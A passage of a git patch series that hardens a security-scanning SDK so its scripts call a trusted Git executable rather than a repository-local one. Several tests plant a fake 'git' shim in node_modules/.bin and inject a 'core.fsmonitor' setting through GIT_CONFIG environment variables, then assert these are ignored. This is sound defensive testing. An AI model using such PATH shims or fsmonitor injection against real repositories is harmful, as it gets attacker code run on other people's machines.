targetPathsFile = environment?.["CODEX_SECURITY_TARGET_PATHS_FILE"]; diff --git a/sdk/typescript/tests-ts/diff-rank-input.test.ts b/sdk/typescript/tests-ts/diff-rank-input.test.ts index 99ba6890..bb444c25 100644 --- a/sdk/typescript/tests-ts/diff-rank-input.test.ts +++ b/sdk/typescript/tests-ts/diff-rank-input.test.ts @@ -152,7 +152,10 @@ async function runDiffRankInput( ...command, ] : ["-B", script, ...command]; - execFileSync(interpreter, args, { stdio: "pipe" }); + execFileSync(interpreter, args, { + stdio: "pipe", + env: { ...process.env, CODEX_SECURITY_GIT: Bun.which("git") ?? undefined }, + }); const contents = (await readFile(output, "utf8")).trim(); return contents diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index af54b509..e08982a5 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1562,6 +1562,113 @@ describe("runtime directories and plugin Python boundary", () => { expect(result).toEqual({ ok: true }); }); + testPosix( + "uses trusted Git for workbench commands instead of a repository-local shim", + async () => { + const root = await temporaryDirectory(); + const repository = join(root, "repository"); + const shimDirectory = join(repository, "node_modules", ".bin"); + const pluginRoot = join(root, "plugin"); + const marker = join(root, "repository-git-executed"); + await mkdir(shimDirectory, { recursive: true }); + await mkdir(join(pluginRoot, "scripts"), { recursive: true }); + await writeFile( + join(shimDirectory, "git"), + `#!/bin/sh\nprintf executed > ${JSON.stringify(marker)}\nexit 1\n`, + { mode: 0o700 }, + ); + await writeFile( + join(pluginRoot, "scripts", "workbench_db.py"), + [ + "import json, os, subprocess", + "assert os.environ.get('GIT_CONFIG_COUNT') is None", + "git = os.environ['CODEX_SECURITY_GIT']", + "completed = subprocess.run([git, '--version'], check=True, capture_output=True, text=True)", + "print(json.dumps({'git': git, 'path': os.environ.get('PATH'), 'version': completed.stdout.strip()}))", + ].join("\n"), + ); + const python = Bun.which("python3") ?? Bun.which("python"); + const git = Bun.which("git"); + expect(python).not.toBeNull(); + expect(git).not.toBeNull(); + + const result = await runWorkbench( + { + python: python!, + pluginRoot, + protectedRoot: repository, + environment: { + PATH: `${shimDirectory}${delimiter}${dirname(git!)}`, + GIT_CONFIG_COUNT: "1", + GIT_CONFIG_KEY_0: "core.fsmonitor", + GIT_CONFIG_VALUE_0: join(repository, "fsmonitor"), + }, + }, + ["test-command"], + ); + + expect(result).toMatchObject({ + git, + version: expect.stringMatching(/^git version /u), + }); + expect(String(result["path"]).split(delimiter)).not.toContain( + shimDirectory, + ); + expect(existsSync(marker)).toBe(false); + }, + ); + + testPosix( + "does not let diff ranking fall back to a repository-local Git shim", + async () => { + const root = await temporaryDirectory(); + const repository = join(root, "repository"); + const shimDirectory = join(repository, "node_modules", ".bin"); + const marker = join(root, "rank-git-executed"); + const output = join(root, "rank-input.jsonl"); + await mkdir(shimDirectory, { recursive: true }); + await writeFile( + join(shimDirectory, "git"), + `#!/bin/sh\nprintf executed > ${JSON.stringify(marker)}\nexit 1\n`, + { mode: 0o700 }, + ); + const python = Bun.which("python3") ?? Bun.which("python"); + expect(python).not.toBeNull(); + + const result = spawnSync( + python!, + [ + "-I", + "-B", + join(PLUGIN_ROOT, "scripts", "generate_rank_input.py"), + "make-diff-rank-input", + "--repo", + repository, + "--base", + "HEAD", + "--mode", + "local-patch", + "--out", + output, + ], + { + encoding: "utf8", + env: { + PATH: shimDirectory, + CODEX_SECURITY_GIT: join(shimDirectory, "git"), + }, + }, + ); + + expect(result.status).toBe(1); + expect(result.stderr).toContain( + "CODEX_SECURITY_GIT must stay outside the protected repository.", + ); + expect(existsSync(marker)).toBe(false); + expect(existsSync(output)).toBe(false); + }, + ); + test("preserves recorded artifact paths when archiving a completed scan", async () => { const root = await temporaryDirectory(); const scanDir = join(root, "scan"); @@ -1915,6 +2022,33 @@ describe("runtime directories and plugin Python boundary", () => { TEST: "1", PYTHON: managed, }); + expect( + pluginExecutionEnvironment( + managed, + { PATH: "/repository/bin", GIT_CONFIG_COUNT: "1", TEST: "1" }, + { + executable: "/trusted/bin/git", + environment: { PATH: "/trusted/bin" }, + }, + ), + ).toEqual({ + PATH: "/trusted/bin", + TEST: "1", + CODEX_SECURITY_GIT: "/trusted/bin/git", + PYTHON: managed, + }); + expect( + pluginExecutionEnvironment( + managed, + { Path: "/repository/bin", TEST: "1" }, + null, + ), + ).toEqual({ + PATH: "", + TEST: "1", + CODEX_SECURITY_GIT: "", + PYTHON: managed, + }); await expect( resolvePluginPython({ configuredPath: "/bin/true", diff --git a/sdk/typescript/tests-ts/scan-recovery.test.ts b/sdk/typescript/tests-ts/scan-recovery.test.ts index 7aa57892..cb22eaee 100644 --- a/sdk/typescript/tests-ts/scan-recovery.test.ts +++ b/sdk/typescript/tests-ts/scan-recovery.test.ts @@ -306,7 +306,13 @@ describe("malformed scan artifact recovery", () => { fixture.repository, join(fixture.stateDir, "checkout"), ], - { encoding: "utf8" }, + { + encoding: "utf8", + env: { + ...process.env, + CODEX_SECURITY_GIT: Bun.which("git")!, + }, + }, ); expect(copied.status, copied.stderr).toBe(0); } From d9cb8617595784471bdf69b29a631e56cbbac86c Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 09:58:24 -0700 Subject: [PATCH 07/46] test: pass trusted Git through immutable snapshot fixtures --- sdk/typescript/tests-ts/runtime.test.ts | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/sdk/typescript/tests-ts/runtime.test.ts b/sdk/typescript/tests-ts/runtime.test.ts index e08982a5..dcdfde8e 100644 --- a/sdk/typescript/tests-ts/runtime.test.ts +++ b/sdk/typescript/tests-ts/runtime.test.ts @@ -1217,7 +1217,13 @@ describe("runtime directories and plugin Python boundary", () => { const digest = (): string => { const result = Bun.spawnSync( [python!, "-I", "-B", "-c", source, scripts, repository, base, head], - { cwd: repository }, + { + cwd: repository, + env: { + ...process.env, + CODEX_SECURITY_GIT: Bun.which("git")!, + }, + }, ); expect(result.exitCode).toBe(0); return result.stdout.toString().trim(); From 61319916aa7305dad5a98e359ceccb869ee68b19 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 10:13:51 -0700 Subject: [PATCH 08/46] test: allow Windows credential isolation checks enough setup time --- sdk/typescript/tests-ts/api.test.ts | 294 ++++++++++++++-------------- 1 file changed, 152 insertions(+), 142 deletions(-) diff --git a/sdk/typescript/tests-ts/api.test.ts b/sdk/typescript/tests-ts/api.test.ts index 9acf61ab..ee27dc91 100644 --- a/sdk/typescript/tests-ts/api.test.ts +++ b/sdk/typescript/tests-ts/api.test.ts @@ -2254,156 +2254,166 @@ describe("CodexSecurity orchestration", () => { await client.close(); }); - test("keeps a private preflight snapshot isolated from persistent credentials", async () => { - const root = await temporaryDirectory(); - const repository = join(root, "repository"); - const ambientHome = join(root, "ambient-codex-home"); - const scanDir = join(root, "scan"); - await mkdir(repository); - await mkdir(ambientHome); - await mkdir(scanDir, { mode: 0o700 }); - await writeFile(join(ambientHome, "auth.json"), "{}\n"); - const interpreter = - Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); - expect(interpreter).not.toBeNull(); - let capturedConfigPath: string | undefined; - let capturedCodexHome: string | undefined; - const client = new TestClient( - { - pluginPath: PLUGIN_ROOT, - codexOverrides: { - features: { goals: true }, - mcp_servers: { - private: { - command: "echo", - env: { PRIVATE_TOKEN: "RUNTIME_MCP_SECRET" }, + test( + "keeps a private preflight snapshot isolated from persistent credentials", + async () => { + const root = await temporaryDirectory(); + const repository = join(root, "repository"); + const ambientHome = join(root, "ambient-codex-home"); + const scanDir = join(root, "scan"); + await mkdir(repository); + await mkdir(ambientHome); + await mkdir(scanDir, { mode: 0o700 }); + await writeFile(join(ambientHome, "auth.json"), "{}\n"); + const interpreter = + Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); + expect(interpreter).not.toBeNull(); + let capturedConfigPath: string | undefined; + let capturedCodexHome: string | undefined; + const client = new TestClient( + { + pluginPath: PLUGIN_ROOT, + codexOverrides: { + features: { goals: true }, + mcp_servers: { + private: { + command: "echo", + env: { PRIVATE_TOKEN: "RUNTIME_MCP_SECRET" }, + }, + }, + shell_environment_policy: { + set: { PRIVATE_TOKEN: "RUNTIME_SHELL_SECRET" }, }, - }, - shell_environment_policy: { - set: { PRIVATE_TOKEN: "RUNTIME_SHELL_SECRET" }, }, }, - }, - { - environment: { CODEX_HOME: ambientHome }, - resolvePluginPython: async () => interpreter!, - prepareOutputDir: async () => scanDir, - repositoryRevision: async () => "deadbeef", - createCodex: (options: CodexOptions) => ({ - startThread: () => ({ - id: null, - async runStreamed(input: string) { - const configPath = options.env?.["CODEX_SECURITY_CONFIG_PATH"]; - const codexHome = options.env?.["CODEX_HOME"]; - expect(typeof configPath).toBe("string"); - expect(typeof codexHome).toBe("string"); - capturedConfigPath = configPath; - capturedCodexHome = codexHome; - expect(configPath!.startsWith(`${codexHome!}/`)).toBe(false); - expect( - parseToml( - await readFile(join(codexHome!, "config.toml"), "utf8"), - ), - ).toMatchObject({ - permissions: { - codex_security_scan: { - filesystem: { - ":root": "read", - ":workspace_roots": "write", - [join(ambientHome, "state", "plugins", "codex-security")]: - "write", - [join( - ambientHome, - "state", - "plugins", - "codex-security", - "codex-home", - )]: "read", + { + environment: { CODEX_HOME: ambientHome }, + resolvePluginPython: async () => interpreter!, + prepareOutputDir: async () => scanDir, + repositoryRevision: async () => "deadbeef", + createCodex: (options: CodexOptions) => ({ + startThread: () => ({ + id: null, + async runStreamed(input: string) { + const configPath = options.env?.["CODEX_SECURITY_CONFIG_PATH"]; + const codexHome = options.env?.["CODEX_HOME"]; + expect(typeof configPath).toBe("string"); + expect(typeof codexHome).toBe("string"); + capturedConfigPath = configPath; + capturedCodexHome = codexHome; + expect(configPath!.startsWith(`${codexHome!}/`)).toBe(false); + expect( + parseToml( + await readFile(join(codexHome!, "config.toml"), "utf8"), + ), + ).toMatchObject({ + permissions: { + codex_security_scan: { + filesystem: { + ":root": "read", + ":workspace_roots": "write", + [join( + ambientHome, + "state", + "plugins", + "codex-security", + )]: "write", + [join( + ambientHome, + "state", + "plugins", + "codex-security", + "codex-home", + )]: "read", + }, }, }, - }, - }); - if (process.platform !== "win32") { - expect((await stat(configPath!)).mode & 0o777).toBe(0o600); - } - const serialized = await readFile(configPath!, "utf8"); - expect(serialized).not.toContain("RUNTIME_MCP_SECRET"); - expect(serialized).not.toContain("RUNTIME_SHELL_SECRET"); - expect(serialized).not.toContain("mcp_servers"); - expect(serialized).not.toContain("shell_environment_policy"); - expect(input).toContain('--config "$CODEX_SECURITY_CONFIG_PATH"'); - expect(input).toContain("--effective-config"); - const shellEnvironment = options.env as Record; - const helper = execFileSync( - interpreter!, - [ - join(PLUGIN_ROOT, "scripts", "config_preflight.py"), - "--skill", - "security-scan", - "--config", - shellEnvironment["CODEX_SECURITY_CONFIG_PATH"]!, - "--cwd", - repository, - "--multi-agent-runtime-owner", - "native", - "--multi-agent-runtime-version", - "v2", - "--multi-agent-session-cap", - "12", - "--multi-agent-runtime-provenance", - "tool-surface", - "--runtime-check", - "delegation_available=true", - "--runtime-check", - "goal_tools_available=true", - "--effective-config", - "features.goals=true", - ], - { - env: { - PATH: process.env["PATH"], - CODEX_HOME: join(root, "denied"), + }); + if (process.platform !== "win32") { + expect((await stat(configPath!)).mode & 0o777).toBe(0o600); + } + const serialized = await readFile(configPath!, "utf8"); + expect(serialized).not.toContain("RUNTIME_MCP_SECRET"); + expect(serialized).not.toContain("RUNTIME_SHELL_SECRET"); + expect(serialized).not.toContain("mcp_servers"); + expect(serialized).not.toContain("shell_environment_policy"); + expect(input).toContain( + '--config "$CODEX_SECURITY_CONFIG_PATH"', + ); + expect(input).toContain("--effective-config"); + const shellEnvironment = options.env as Record; + const helper = execFileSync( + interpreter!, + [ + join(PLUGIN_ROOT, "scripts", "config_preflight.py"), + "--skill", + "security-scan", + "--config", + shellEnvironment["CODEX_SECURITY_CONFIG_PATH"]!, + "--cwd", + repository, + "--multi-agent-runtime-owner", + "native", + "--multi-agent-runtime-version", + "v2", + "--multi-agent-session-cap", + "12", + "--multi-agent-runtime-provenance", + "tool-surface", + "--runtime-check", + "delegation_available=true", + "--runtime-check", + "goal_tools_available=true", + "--effective-config", + "features.goals=true", + ], + { + env: { + PATH: process.env["PATH"], + CODEX_HOME: join(root, "denied"), + }, + encoding: "utf8", }, - encoding: "utf8", - }, - ); - const preflight = JSON.parse(helper) as Record; - expect(preflight["status"]).toBe("ready"); - expect(preflight["config_resolution"]).toBe("manual-layers"); - expect(preflight["config_paths"]).toEqual([configPath]); - await copyCompletedScan(root); - const manifestPath = join(scanDir, "scan-manifest.json"); - const manifest = JSON.parse( - await readFile(manifestPath, "utf8"), - ) as { scan: { producer: { version: string } } }; - const pluginManifest = JSON.parse( - await readFile( - join(PLUGIN_ROOT, ".codex-plugin", "plugin.json"), - "utf8", - ), - ) as { version: string }; - manifest.scan.producer.version = pluginManifest.version; - await writeFile(manifestPath, JSON.stringify(manifest)); - return { events: completedEvents() }; - }, + ); + const preflight = JSON.parse(helper) as Record; + expect(preflight["status"]).toBe("ready"); + expect(preflight["config_resolution"]).toBe("manual-layers"); + expect(preflight["config_paths"]).toEqual([configPath]); + await copyCompletedScan(root); + const manifestPath = join(scanDir, "scan-manifest.json"); + const manifest = JSON.parse( + await readFile(manifestPath, "utf8"), + ) as { scan: { producer: { version: string } } }; + const pluginManifest = JSON.parse( + await readFile( + join(PLUGIN_ROOT, ".codex-plugin", "plugin.json"), + "utf8", + ), + ) as { version: string }; + manifest.scan.producer.version = pluginManifest.version; + await writeFile(manifestPath, JSON.stringify(manifest)); + return { events: completedEvents() }; + }, + }), }), - }), - }, - ); + }, + ); - try { - await client.run(repository); - expect(capturedConfigPath).toBeDefined(); - expect(capturedCodexHome).toBeDefined(); - } finally { - await client.close(); - } - expect(existsSync(capturedConfigPath!)).toBe(false); - expect(capturedCodexHome).toBe( - join(ambientHome, "state", "plugins", "codex-security", "codex-home"), - ); - expect(existsSync(capturedCodexHome!)).toBe(true); - }); + try { + await client.run(repository); + expect(capturedConfigPath).toBeDefined(); + expect(capturedCodexHome).toBeDefined(); + } finally { + await client.close(); + } + expect(existsSync(capturedConfigPath!)).toBe(false); + expect(capturedCodexHome).toBe( + join(ambientHome, "state", "plugins", "codex-security", "codex-home"), + ); + expect(existsSync(capturedCodexHome!)).toBe(true); + }, + process.platform === "win32" ? 90_000 : 30_000, + ); test("reuses keyring-compatible credentials across separate scan clients", async () => { const root = await temporaryDirectory(); From 87adf855c1e194a12d1d110ad89ac99431c2e13b Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 10:15:22 -0700 Subject: [PATCH 09/46] Revert "test: allow Windows credential isolation checks enough setup time" This reverts commit 61319916aa7305dad5a98e359ceccb869ee68b19. --- sdk/typescript/tests-ts/api.test.ts | 294 ++++++++++++++-------------- 1 file changed, 142 insertions(+), 152 deletions(-) diff --git a/sdk/typescript/tests-ts/api.test.ts b/sdk/typescript/tests-ts/api.test.ts index ee27dc91..9acf61ab 100644 --- a/sdk/typescript/tests-ts/api.test.ts +++ b/sdk/typescript/tests-ts/api.test.ts @@ -2254,166 +2254,156 @@ describe("CodexSecurity orchestration", () => { await client.close(); }); - test( - "keeps a private preflight snapshot isolated from persistent credentials", - async () => { - const root = await temporaryDirectory(); - const repository = join(root, "repository"); - const ambientHome = join(root, "ambient-codex-home"); - const scanDir = join(root, "scan"); - await mkdir(repository); - await mkdir(ambientHome); - await mkdir(scanDir, { mode: 0o700 }); - await writeFile(join(ambientHome, "auth.json"), "{}\n"); - const interpreter = - Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); - expect(interpreter).not.toBeNull(); - let capturedConfigPath: string | undefined; - let capturedCodexHome: string | undefined; - const client = new TestClient( - { - pluginPath: PLUGIN_ROOT, - codexOverrides: { - features: { goals: true }, - mcp_servers: { - private: { - command: "echo", - env: { PRIVATE_TOKEN: "RUNTIME_MCP_SECRET" }, - }, - }, - shell_environment_policy: { - set: { PRIVATE_TOKEN: "RUNTIME_SHELL_SECRET" }, + test("keeps a private preflight snapshot isolated from persistent credentials", async () => { + const root = await temporaryDirectory(); + const repository = join(root, "repository"); + const ambientHome = join(root, "ambient-codex-home"); + const scanDir = join(root, "scan"); + await mkdir(repository); + await mkdir(ambientHome); + await mkdir(scanDir, { mode: 0o700 }); + await writeFile(join(ambientHome, "auth.json"), "{}\n"); + const interpreter = + Bun.which("python3") ?? Bun.which("python") ?? Bun.which("py"); + expect(interpreter).not.toBeNull(); + let capturedConfigPath: string | undefined; + let capturedCodexHome: string | undefined; + const client = new TestClient( + { + pluginPath: PLUGIN_ROOT, + codexOverrides: { + features: { goals: true }, + mcp_servers: { + private: { + command: "echo", + env: { PRIVATE_TOKEN: "RUNTIME_MCP_SECRET" }, }, }, + shell_environment_policy: { + set: { PRIVATE_TOKEN: "RUNTIME_SHELL_SECRET" }, + }, }, - { - environment: { CODEX_HOME: ambientHome }, - resolvePluginPython: async () => interpreter!, - prepareOutputDir: async () => scanDir, - repositoryRevision: async () => "deadbeef", - createCodex: (options: CodexOptions) => ({ - startThread: () => ({ - id: null, - async runStreamed(input: string) { - const configPath = options.env?.["CODEX_SECURITY_CONFIG_PATH"]; - const codexHome = options.env?.["CODEX_HOME"]; - expect(typeof configPath).toBe("string"); - expect(typeof codexHome).toBe("string"); - capturedConfigPath = configPath; - capturedCodexHome = codexHome; - expect(configPath!.startsWith(`${codexHome!}/`)).toBe(false); - expect( - parseToml( - await readFile(join(codexHome!, "config.toml"), "utf8"), - ), - ).toMatchObject({ - permissions: { - codex_security_scan: { - filesystem: { - ":root": "read", - ":workspace_roots": "write", - [join( - ambientHome, - "state", - "plugins", - "codex-security", - )]: "write", - [join( - ambientHome, - "state", - "plugins", - "codex-security", - "codex-home", - )]: "read", - }, + }, + { + environment: { CODEX_HOME: ambientHome }, + resolvePluginPython: async () => interpreter!, + prepareOutputDir: async () => scanDir, + repositoryRevision: async () => "deadbeef", + createCodex: (options: CodexOptions) => ({ + startThread: () => ({ + id: null, + async runStreamed(input: string) { + const configPath = options.env?.["CODEX_SECURITY_CONFIG_PATH"]; + const codexHome = options.env?.["CODEX_HOME"]; + expect(typeof configPath).toBe("string"); + expect(typeof codexHome).toBe("string"); + capturedConfigPath = configPath; + capturedCodexHome = codexHome; + expect(configPath!.startsWith(`${codexHome!}/`)).toBe(false); + expect( + parseToml( + await readFile(join(codexHome!, "config.toml"), "utf8"), + ), + ).toMatchObject({ + permissions: { + codex_security_scan: { + filesystem: { + ":root": "read", + ":workspace_roots": "write", + [join(ambientHome, "state", "plugins", "codex-security")]: + "write", + [join( + ambientHome, + "state", + "plugins", + "codex-security", + "codex-home", + )]: "read", }, }, - }); - if (process.platform !== "win32") { - expect((await stat(configPath!)).mode & 0o777).toBe(0o600); - } - const serialized = await readFile(configPath!, "utf8"); - expect(serialized).not.toContain("RUNTIME_MCP_SECRET"); - expect(serialized).not.toContain("RUNTIME_SHELL_SECRET"); - expect(serialized).not.toContain("mcp_servers"); - expect(serialized).not.toContain("shell_environment_policy"); - expect(input).toContain( - '--config "$CODEX_SECURITY_CONFIG_PATH"', - ); - expect(input).toContain("--effective-config"); - const shellEnvironment = options.env as Record; - const helper = execFileSync( - interpreter!, - [ - join(PLUGIN_ROOT, "scripts", "config_preflight.py"), - "--skill", - "security-scan", - "--config", - shellEnvironment["CODEX_SECURITY_CONFIG_PATH"]!, - "--cwd", - repository, - "--multi-agent-runtime-owner", - "native", - "--multi-agent-runtime-version", - "v2", - "--multi-agent-session-cap", - "12", - "--multi-agent-runtime-provenance", - "tool-surface", - "--runtime-check", - "delegation_available=true", - "--runtime-check", - "goal_tools_available=true", - "--effective-config", - "features.goals=true", - ], - { - env: { - PATH: process.env["PATH"], - CODEX_HOME: join(root, "denied"), - }, - encoding: "utf8", + }, + }); + if (process.platform !== "win32") { + expect((await stat(configPath!)).mode & 0o777).toBe(0o600); + } + const serialized = await readFile(configPath!, "utf8"); + expect(serialized).not.toContain("RUNTIME_MCP_SECRET"); + expect(serialized).not.toContain("RUNTIME_SHELL_SECRET"); + expect(serialized).not.toContain("mcp_servers"); + expect(serialized).not.toContain("shell_environment_policy"); + expect(input).toContain('--config "$CODEX_SECURITY_CONFIG_PATH"'); + expect(input).toContain("--effective-config"); + const shellEnvironment = options.env as Record; + const helper = execFileSync( + interpreter!, + [ + join(PLUGIN_ROOT, "scripts", "config_preflight.py"), + "--skill", + "security-scan", + "--config", + shellEnvironment["CODEX_SECURITY_CONFIG_PATH"]!, + "--cwd", + repository, + "--multi-agent-runtime-owner", + "native", + "--multi-agent-runtime-version", + "v2", + "--multi-agent-session-cap", + "12", + "--multi-agent-runtime-provenance", + "tool-surface", + "--runtime-check", + "delegation_available=true", + "--runtime-check", + "goal_tools_available=true", + "--effective-config", + "features.goals=true", + ], + { + env: { + PATH: process.env["PATH"], + CODEX_HOME: join(root, "denied"), }, - ); - const preflight = JSON.parse(helper) as Record; - expect(preflight["status"]).toBe("ready"); - expect(preflight["config_resolution"]).toBe("manual-layers"); - expect(preflight["config_paths"]).toEqual([configPath]); - await copyCompletedScan(root); - const manifestPath = join(scanDir, "scan-manifest.json"); - const manifest = JSON.parse( - await readFile(manifestPath, "utf8"), - ) as { scan: { producer: { version: string } } }; - const pluginManifest = JSON.parse( - await readFile( - join(PLUGIN_ROOT, ".codex-plugin", "plugin.json"), - "utf8", - ), - ) as { version: string }; - manifest.scan.producer.version = pluginManifest.version; - await writeFile(manifestPath, JSON.stringify(manifest)); - return { events: completedEvents() }; - }, - }), + encoding: "utf8", + }, + ); + const preflight = JSON.parse(helper) as Record; + expect(preflight["status"]).toBe("ready"); + expect(preflight["config_resolution"]).toBe("manual-layers"); + expect(preflight["config_paths"]).toEqual([configPath]); + await copyCompletedScan(root); + const manifestPath = join(scanDir, "scan-manifest.json"); + const manifest = JSON.parse( + await readFile(manifestPath, "utf8"), + ) as { scan: { producer: { version: string } } }; + const pluginManifest = JSON.parse( + await readFile( + join(PLUGIN_ROOT, ".codex-plugin", "plugin.json"), + "utf8", + ), + ) as { version: string }; + manifest.scan.producer.version = pluginManifest.version; + await writeFile(manifestPath, JSON.stringify(manifest)); + return { events: completedEvents() }; + }, }), - }, - ); + }), + }, + ); - try { - await client.run(repository); - expect(capturedConfigPath).toBeDefined(); - expect(capturedCodexHome).toBeDefined(); - } finally { - await client.close(); - } - expect(existsSync(capturedConfigPath!)).toBe(false); - expect(capturedCodexHome).toBe( - join(ambientHome, "state", "plugins", "codex-security", "codex-home"), - ); - expect(existsSync(capturedCodexHome!)).toBe(true); - }, - process.platform === "win32" ? 90_000 : 30_000, - ); + try { + await client.run(repository); + expect(capturedConfigPath).toBeDefined(); + expect(capturedCodexHome).toBeDefined(); + } finally { + await client.close(); + } + expect(existsSync(capturedConfigPath!)).toBe(false); + expect(capturedCodexHome).toBe( + join(ambientHome, "state", "plugins", "codex-security", "codex-home"), + ); + expect(existsSync(capturedCodexHome!)).toBe(true); + }); test("reuses keyring-compatible credentials across separate scan clients", async () => { const root = await temporaryDirectory(); From 8efca11955ab369f2a649fff8cd01a8646c00515 Mon Sep 17 00:00:00 2001 From: Michael D'Angelo Date: Thu, 30 Jul 2026 10:56:48 -0700 Subject: [PATCH 10/46] fix: bind diff inventory to immutable trusted Git snapshots --- sdk/typescript/_bundled_plugin/.mcp.json | 1 + .../scripts/generate_rank_input.py | 124 ++++++++++++++++-- .../scripts/workbench_constants.py | 14 ++ .../_bundled_plugin/scripts/workbench_db.py | 24 +++- .../skills/security-diff-scan/SKILL.md | 3 +- sdk/typescript/tests-ts/api.test.ts | 10 +- .../tests-ts/diff-rank-input.test.ts | 115 +++++++++++++++- sdk/typescript/tests-ts/scan-recovery.test.ts | 49 ++++--- 8 files changed, 301 insertions(+), 39 deletions(-) diff --git a/sdk/typescript/_bundled_plugin/.mcp.json b/sdk/typescript/_bundled_plugin/.mcp.json index dff58739..8068d33b 100644 --- a/sdk/typescript/_bundled_plugin/.mcp.json +++ b/sdk/typescript/_bundled_plugin/.mcp.json @@ -9,6 +9,7 @@ "CODEX_SQLITE_HOME", "CODEX_API_KEY", "CODEX_CLI_PATH", + "CODEX_SECURITY_GIT", "PYTHON", "CODEX_SECURITY_KNOWLEDGE_BASE", "CODEX_SECURITY_SCAN_ROOT", diff --git a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py index 17e295e3..e4174039 100644 --- a/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py +++ b/sdk/typescript/_bundled_plugin/scripts/generate_rank_input.py @@ -47,7 +47,7 @@ select_preview_lines, structural_outline, ) -from workbench_constants import trusted_git_executable +from workbench_constants import GIT_REPOSITORY_ENVIRONMENT, trusted_git_executable EXCLUDED_DIRS = { ".cache", @@ -127,6 +127,7 @@ SECURITY_RELEVANT_DIFF_FILENAMES = { ".dockerignore", + ".gitmodules", "AGENTS.md", "CLAUDE.md", "CODEOWNERS", @@ -444,10 +445,15 @@ def immutable_diff_preview( "-C", str(repo), ] + environment = os.environ.copy() + for name in GIT_REPOSITORY_ENVIRONMENT: + environment.pop(name, None) + environment["GIT_LITERAL_PATHSPECS"] = "1" listed = subprocess.run( [*command, "ls-tree", "-z", head, "--", relative], check=False, capture_output=True, + env=environment, ) entries = [entry for entry in listed.stdout.split(b"\0") if entry] if listed.returncode != 0 or len(entries) != 1: @@ -459,17 +465,29 @@ def immutable_diff_preview( raise SystemExit( f"Unsafe changed repository path cannot be safely reviewed: {relative}" ) from error - if ( - mode not in {b"100644", b"100755"} - or kind != b"blob" - or tree_path != os.fsencode(relative) - ): + if tree_path != os.fsencode(relative): + raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") + if mode == b"160000" and kind == b"commit": + return f"Git submodule pinned to commit {object_id.decode('ascii')}", False + if mode not in {b"100644", b"100755"} or kind != b"blob": raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") + return git_blob_preview(command, environment, path, object_id, preview_bytes) + + +def git_blob_preview( + command: list[str], + environment: dict[str, str], + path: Path, + object_id: bytes, + preview_bytes: int, +) -> tuple[str, bool]: + relative = path.name process = subprocess.Popen( [*command, "cat-file", "blob", object_id.decode("ascii")], stdout=subprocess.PIPE, stderr=subprocess.PIPE, + env=environment, ) try: assert process.stdout is not None @@ -492,6 +510,48 @@ def immutable_diff_preview( return fit_preview_lines(preview_lines, preview_bytes), False +def staged_diff_preview(repo: Path, path: Path, preview_bytes: int) -> tuple[str, bool]: + relative = path.relative_to(repo).as_posix() + executable = trusted_git_executable(repo) + if executable is None: + raise SystemExit("Git is unavailable on the trusted executable path.") + command = [ + executable, + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + str(repo), + ] + environment = os.environ.copy() + for name in GIT_REPOSITORY_ENVIRONMENT: + environment.pop(name, None) + environment["GIT_LITERAL_PATHSPECS"] = "1" + listed = subprocess.run( + [*command, "ls-files", "--stage", "-z", "--", relative], + check=False, + capture_output=True, + env=environment, + ) + entries = [entry for entry in listed.stdout.split(b"\0") if entry] + if listed.returncode != 0 or len(entries) != 1: + raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") + try: + metadata, staged_path = entries[0].split(b"\t", 1) + mode, object_id, stage = metadata.split(b" ", 2) + except ValueError as error: + raise SystemExit( + f"Unsafe changed repository path cannot be safely reviewed: {relative}" + ) from error + if ( + mode not in {b"100644", b"100755"} + or stage != b"0" + or staged_path != os.fsencode(relative) + ): + raise SystemExit(f"Unsafe changed repository path cannot be safely reviewed: {relative}") + return git_blob_preview(command, environment, path, object_id, preview_bytes) + + def resolve_scope(repo: Path, scope: str, *, expand_user: bool = True) -> Path: scope_path = Path(scope).expanduser() if expand_user else Path(scope) if not scope_path.is_absolute(): @@ -720,6 +780,7 @@ def run_git_changed_paths(repo: Path, diff_args: list[str]) -> list[tuple[Path, "diff", "--no-ext-diff", "--no-textconv", + "--ignore-submodules=none", "--name-status", "-z", "--diff-filter=ACMRDTU", @@ -766,17 +827,24 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: rows: list[JsonRow] = [] for path, status in git_changed_paths(repo, args.base, args.head, args.mode): rel = path.relative_to(repo) - if not diff_path_is_included(rel): + if not diff_path_is_included(rel) and not ( + args.mode == "revisions" + and status in {"A", "M"} + and is_immutable_gitlink(repo, args.head, rel) + ): continue if status in {"D", "U"}: preview = "" else: - preview, is_binary = ( - immutable_diff_preview(repo, path, args.head, args.preview_bytes) - if args.mode == "revisions" - else confined_diff_preview(repo, path, args.preview_bytes) - ) + if args.mode == "revisions": + preview, is_binary = immutable_diff_preview( + repo, path, args.head, args.preview_bytes + ) + elif status == "A" and not path.exists() and not path.is_symlink(): + preview, is_binary = staged_diff_preview(repo, path, args.preview_bytes) + else: + preview, is_binary = confined_diff_preview(repo, path, args.preview_bytes) if is_binary: continue rows.append({"path": rel.as_posix(), "area": args.area, "preview": preview}) @@ -787,6 +855,38 @@ def make_diff_rank_input(args: argparse.Namespace) -> None: print(f"Wrote {len(rows)} rows to {output}") +def is_immutable_gitlink(repo: Path, head: str, relative: Path) -> bool: + executable = trusted_git_executable(repo) + if executable is None: + raise SystemExit("Git is unavailable on the trusted executable path.") + environment = os.environ.copy() + for name in GIT_REPOSITORY_ENVIRONMENT: + environment.pop(name, None) + environment["GIT_LITERAL_PATHSPECS"] = "1" + listed = subprocess.run( + [ + executable, + "--no-replace-objects", + "-c", + "core.fsmonitor=false", + "-C", + 